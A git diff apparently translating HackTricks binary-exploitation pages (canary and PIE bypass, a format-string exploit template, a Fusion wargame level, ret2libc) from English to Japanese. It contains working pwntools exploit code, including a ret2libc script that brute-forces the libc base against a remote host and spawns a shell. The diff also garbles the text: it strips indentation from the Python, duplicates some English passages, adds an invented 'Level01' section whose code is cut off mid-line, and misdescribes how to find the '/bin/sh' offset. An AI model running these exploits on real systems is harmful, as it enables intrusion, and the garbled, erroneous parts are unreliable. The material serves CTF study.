canary value, reset the canary value, and move on +print(" - next byte is: " + hex(test_canary)) +known_canary = known_canary + test_canary.to_bytes(1, "little") +len_bytes_to_read += 1 +break + +# Return the canary +return known_canary # Start the target process target = process('./feedme') @@ -120,24 +115,22 @@ target = process('./feedme') canary = breakCanary() log.info(f"The canary is: {canary}") ``` +# キャナリーの表示 -# Print Canary +キャナリーをバイパスする別の方法は、**表示する**ことです。\ +スタックオーバーフローに対して脆弱なプログラムが、**スタックオーバーフローの一部を指す**`puts`関数を実行できる状況を想像してみてください。攻撃者は、キャナリーの**最初のバイトがヌルバイト**(`\x00`)であり、残りのキャナリーが**ランダムなバイト**であることを知っています。その後、攻撃者は、オーバーフローを作成して、**キャナリーの最初のバイトだけが残るようにスタックを上書き**することができます。\ +次に、攻撃者は、ペイロードの中間部分で**puts機能を呼び出し**、キャナリーの**すべてを表示**します(最初のヌルバイトを除く)。\ +この情報を使用して、攻撃者はキャナリーを知り、(同じプログラムセッション内で)新しい攻撃を作成して送信することができます。 -Another way to bypass the canary is to **print it**.\ -Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.\ -Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).\ -With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session) - -Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.\ -CTF example: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) +もちろん、この戦術は非常に**制限されています**。攻撃者は、自分のペイロードの**内容を表示**してキャナリーを**外部に漏洩**し、その後、新しいペイロードを作成して(**同じプログラムセッション**内で)**実際のバッファオーバーフロー**を送信できる必要があります。\ +CTFの例:[https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) # PIE -In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ -For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** - -To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP: +PIEをバイパスするためには、いくつかのアドレスを**漏洩**する必要があります。バイナリがアドレスを漏洩していない場合、脆弱な関数のスタックに保存された**RBPとRIPをブルートフォース**するのが最善です。\ +例えば、キャナリーとPIEの両方を使用してバイナリを保護している場合、キャナリーをブルートフォースし、次の8バイト(x64)が保存された**RBP**であり、次の8バイトが保存された**RIP**であることがわかります。 +バイナリからRBPとRIPをブルートフォースするためには、プログラムが何かを出力するか、クラッシュしない場合に、有効な推測されたバイトが正しいことがわかります。キャナリーのブルートフォースに使用されるのと同じ関数を使用して、RBPとRIPをブルートフォースすることができます: ```python print("Brute-Forcing RBP") base_canary_rbp = get_bf(base_canary) @@ -146,43 +139,35 @@ print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` +## ベースアドレスの取得 -## Get base address - -The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. - -From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: +PIEを打破するために必要な最後のステップは、漏洩したアドレスから有用なアドレスを計算することです。具体的には、**RBP**と**RIP**です。 +**RBP**からは、スタック内にシェルを書き込む場所を計算することができます。これは、スタック内に文字列"/bin/sh\x00"を書き込む場所を知るために非常に役立ちます。漏洩したRBPとシェルコードの間の距離を計算するには、**RBPを漏洩させた後にブレークポイントを設定**し、**シェルコードの位置を確認**してから、シェルコードとRBPの間の距離を計算することができます。 ```python INI_SHELLCODE = RBP - 1152 ``` - -From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ -To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses: +**RIP**からは、**PIEバイナリのベースアドレス**を計算することができます。これは、**有効なROPチェーン**を作成するために必要なものです。 +ベースアドレスを計算するには、単に`objdump -d vunbinary`を実行し、最新のアドレスを逆アセンブルして確認します。 ![](<../../.gitbook/assets/image (145).png>) -In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked _0x562002970**ecf** _ the base address is _0x562002970**000**_ - +この例では、すべてのコードを特定するために**1バイトと半分だけが必要**であることがわかります。したがって、この状況ではベースアドレスは**漏洩したRIPが"000"で終わる**ことになります。例えば、もし _0x562002970**ecf**_ が漏洩した場合、ベースアドレスは _0x562002970**000**_ です。 ```python elf.address = RIP - (RIP & 0xfff) ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/exploiting/linux-exploiting-basic-esp/format-strings-template.md b/exploiting/linux-exploiting-basic-esp/format-strings-template.md index f1a8bc12e..289edd0cf 100644 --- a/exploiting/linux-exploiting-basic-esp/format-strings-template.md +++ b/exploiting/linux-exploiting-basic-esp/format-strings-template.md @@ -1,22 +1,18 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - ```python from pwn import * from time import sleep @@ -51,23 +47,23 @@ print(" ====================== ") def connect_binary(): - global P, ELF_LOADED, ROP_LOADED +global P, ELF_LOADED, ROP_LOADED - if LOCAL: - P = process(LOCAL_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +if LOCAL: +P = process(LOCAL_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTETTCP: - P = remote('10.10.10.10',1338) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +elif REMOTETTCP: +P = remote('10.10.10.10',1338) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - P = ssh_shell.process(REMOTE_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(elf)# Find ROP gadgets +elif REMOTESSH: +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +P = ssh_shell.process(REMOTE_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(elf)# Find ROP gadgets ####################################### @@ -75,39 +71,39 @@ def connect_binary(): ####################################### def send_payload(payload): - payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD - log.info("payload = %s" % repr(payload)) - if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") - P.sendline(payload) - sleep(0.5) - return P.recv() +payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD +log.info("payload = %s" % repr(payload)) +if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") +P.sendline(payload) +sleep(0.5) +return P.recv() def get_formatstring_config(): - global P +global P - for offset in range(1,1000): - connect_binary() - P.clean() +for offset in range(1,1000): +connect_binary() +P.clean() - payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() +payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() - if b"41" in recieved: - for padlen in range(0,4): - if b"41414141" in recieved: - connect_binary() - payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() - print(recieved) - if b"42424242" in recieved: - log.info(f"Found offset ({offset}) and padlen ({padlen})") - return offset, padlen +if b"41" in recieved: +for padlen in range(0,4): +if b"41414141" in recieved: +connect_binary() +payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() +print(recieved) +if b"42424242" in recieved: +log.info(f"Found offset ({offset}) and padlen ({padlen})") +return offset, padlen - else: - connect_binary() - payload = b" " + payload - recieved = send_payload(payload).strip() +else: +connect_binary() +payload = b" " + payload +recieved = send_payload(payload).strip() # In order to exploit a format string you need to find a position where part of your payload @@ -140,10 +136,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}") connect_binary() if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" - sleep(5) +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" +sleep(5) format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) #format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) @@ -155,23 +151,18 @@ format_string.execute_writes() P.interactive() ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/exploiting/linux-exploiting-basic-esp/fusion.md b/exploiting/linux-exploiting-basic-esp/fusion.md index e019da1c3..ccc1ece7c 100644 --- a/exploiting/linux-exploiting-basic-esp/fusion.md +++ b/exploiting/linux-exploiting-basic-esp/fusion.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
@@ -21,9 +19,8 @@ [http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) -1. Get offset to modify EIP -2. Put shellcode address in EIP - +1. EIPを変更するためのオフセットを取得します。 +2. EIPにシェルコードのアドレスを入れます。 ```python from pwn import * @@ -49,9 +46,64 @@ r.recvline() r.send(buf) r.interactive() ``` +# レベル01 -# Level01 +## Description +In this level, we will exploit a basic buffer overflow vulnerability in the `fusion` binary to gain a shell. + +## Vulnerable Code + +```c +#include +#include +#include + +void vuln(char *input) { + char buffer[64]; + strcpy(buffer, input); + printf("You entered: %s\n", buffer); +} + +int main(int argc, char **argv) { + if (argc != 2) { + printf("Usage: %s \n", argv[0]); + exit(1); + } + vuln(argv[1]); + return 0; +} +``` + +## Exploitation + +The vulnerable code has a buffer overflow vulnerability in the `vuln` function. It uses the `strcpy` function to copy the user input into a fixed-size buffer of 64 bytes, which can be overflowed. + +To exploit this vulnerability, we need to provide an input that is longer than 64 bytes to overwrite the return address of the `vuln` function. By overwriting the return address, we can redirect the program's execution flow to a shellcode that gives us a shell. + +## Solution + +We can create a payload that consists of padding, a new return address, and shellcode. The padding is used to fill the buffer and reach the return address. The new return address should point to the start of the shellcode. + +To find the offset required to overwrite the return address, we can use a tool like `gdb` to debug the program and examine the memory layout. Once we know the offset, we can craft the payload accordingly. + +Here is an example payload: + +```python +import struct + +padding = b"A" * 64 +return_address = struct.pack(" ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/exploiting/linux-exploiting-basic-esp/ret2lib.md b/exploiting/linux-exploiting-basic-esp/ret2lib.md index 2683871da..6fc64b3f3 100644 --- a/exploiting/linux-exploiting-basic-esp/ret2lib.md +++ b/exploiting/linux-exploiting-basic-esp/ret2lib.md @@ -1,80 +1,90 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-**If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.** +**脆弱なバイナリを見つけ、Ret2Libを使用して攻撃できると思った場合、以下は基本的な手順です。** -# If you are **inside** the **host** - -## You can find the **address of lib**c +# **ホスト内部**にいる場合 +## **libcのアドレス**を見つけることができます ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` - -If you want to check if the ASLR is changing the address of libc you can do: - +ASLRがlibcのアドレスを変更しているかどうかを確認したい場合は、次の操作を行うことができます: ```bash for i in `seq 0 20`; do ldd | grep libc; done ``` +## システム関数のオフセットを取得する -## Get offset of system function +To get the offset of the system function, we can use the `nm` command to list the symbols in a binary file. The system function is usually located in the libc library, so we need to find the address of the system function in libc. +システム関数のオフセットを取得するために、`nm`コマンドを使用してバイナリファイル内のシンボルをリストアップします。システム関数は通常、libcライブラリに存在するため、libc内のシステム関数のアドレスを見つける必要があります。 + +First, we need to identify the libc library used by the target binary. We can do this by running the `ldd` command followed by the path to the binary. Look for the libc library in the output. + +まず、ターゲットバイナリが使用しているlibcライブラリを特定する必要があります。これは、`ldd`コマンドをバイナリのパスに続けて実行することで行うことができます。出力からlibcライブラリを探してください。 + +Once we have identified the libc library, we can use the `nm` command to list the symbols in the library. Pipe the output of `nm` to `grep` and search for the system function. The output will include the address of the system function. + +libcライブラリを特定したら、`nm`コマンドを使用してライブラリ内のシンボルをリストアップします。`nm`の出力を`grep`にパイプし、システム関数を検索します。出力にはシステム関数のアドレスが含まれます。 + +The offset of the system function can be calculated by subtracting the base address of the libc library from the address of the system function. + +システム関数のオフセットは、libcライブラリのベースアドレスからシステム関数のアドレスを引くことで計算できます。 ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` +## "/bin/sh"のオフセットを取得する -## Get offset of "/bin/sh" +To get the offset of "/bin/sh" in the binary, we can use the following steps: +1. Create a pattern of characters using a pattern generation tool like `pattern_create.rb` or `msf-pattern_create`. +2. Inject the pattern into the vulnerable program, causing it to crash. +3. Identify the offset value by analyzing the crash. This can be done by using a pattern matching tool like `pattern_offset.rb` or `msf-pattern_offset`. +4. Use the obtained offset value to calculate the address of "/bin/sh" in memory. + +By following these steps, we can determine the offset of "/bin/sh" and use it in our exploit. ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` - ## /proc/\/maps -If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). +プロセスが毎回(ネットワークサーバーの場合)話すたびに**子プロセス**を作成している場合、そのファイルを**読み取る**ことを試してください(おそらくroot権限が必要です)。 -Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process. +ここでは、プロセス内の**libcが正確にどこにロードされているか**と、プロセスのすべての子プロセスに**どこにロードされるか**がわかります。 ![](<../../.gitbook/assets/image (95).png>) -In this case it is loaded in **0xb75dc000** (This will be the base address of libc) +この場合、**0xb75dc000**にロードされています(これがlibcのベースアドレスになります) -## Using gdb-peda - -Get address of **system** function, of **exit** function and of the string **"/bin/sh"** using gdb-peda: +## gdb-pedaを使用する +gdb-pedaを使用して、**system**関数、**exit**関数、および文字列**"/bin/sh"**のアドレスを取得します。 ``` p system p exit find "/bin/sh" ``` +# ASLRのバイパス -# Bypassing ASLR - -You can try to bruteforce the abse address of libc. - +libcのベースアドレスをブルートフォースで試すことができます。 ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -# Code - +# コード ```python from pwn import * @@ -82,30 +92,26 @@ c = remote('192.168.85.181',20002) c.recvline() #Banner for off in range(0xb7000000, 0xb8000000, 0x1000): - p = "" - p += p32(off + 0x0003cb20) #system - p += "CCCC" #GARBAGE - p += p32(off + 0x001388da) #/bin/sh - payload = 'A'*0x20010 + p - c.send(payload) - c.interactive() #? +p = "" +p += p32(off + 0x0003cb20) #system +p += "CCCC" #GARBAGE +p += p32(off + 0x001388da) #/bin/sh +payload = 'A'*0x20010 + p +c.send(payload) +c.interactive() #? ``` - -
